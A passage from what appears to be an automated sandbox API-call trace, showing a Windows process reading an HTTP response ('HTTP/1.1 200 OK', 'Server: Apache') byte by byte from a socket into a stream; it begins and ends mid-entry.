buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.836] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x76, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.836] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.836] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.836] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.836] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.836] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.836] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.836] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.836] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x72, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.836] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.836] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.836] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.837] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x3a, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.837] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.837] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.837] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.837] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.837] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.837] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.837] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.837] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x41, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.837] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.837] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.837] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.838] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x70, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.838] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.838] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.838] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.838] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x61, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.838] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.838] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.838] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.838] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x63, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.838] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.838] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.838] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.838] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x68, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.839] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.839] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.839] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.839] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.839] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.839] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.839] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.839] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0xd, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.839] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.839] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.839] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.839] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0xa, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.839] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.840] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.840] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.840] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x48, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.840] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.840] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x54, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.840] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.840] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x54, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.840] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.840] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x50, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.840] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.840] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x2f, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.840] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.840] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.840] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.840] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x2e, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.840] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.840] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.840] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x8, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.840] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.840] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x9, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.840] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x32, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.840] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xa, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.840] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x30, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.840] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.840] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x30, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.841] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.841] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.841] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xd, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.841] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x4f, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.841] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xe, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.841] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x4b, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.841] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xf, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.841] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xd, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.841] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x10, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.841] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xa, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.841] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x11, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.841] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x44, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.841] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x12, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.841] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x61, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.841] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x13, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.841] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x74, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.841] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.841] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x65, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.841] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x15, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.841] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x3a, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.841] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x16, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.841] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.841] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x17, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.841] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x57, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.841] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x18, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x65, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x19, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x64, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x2c, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x41, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x20, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x70, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x21, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x72, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x22, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x23, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x32, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x24, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x30, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x25, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x26, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x38, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x27, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x30, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x29, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x39, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x3a, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.842] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x32, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.842] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.843] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x34, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.843] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.843] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x3a, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.843] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.843] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.843] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.843] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x37, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.843] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x30, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.843] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.843] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x31, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.843] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x47, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.843] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x32, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.843] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x4d, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.843] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x33, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.843] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x54, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.843] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x34, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.843] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xd, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.843] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x35, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.843] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xa, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.843] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x36, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.843] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x53, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.843] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x37, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.843] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x65, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.843] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x38, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.843] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x72, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.843] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x39, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.843] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x76, 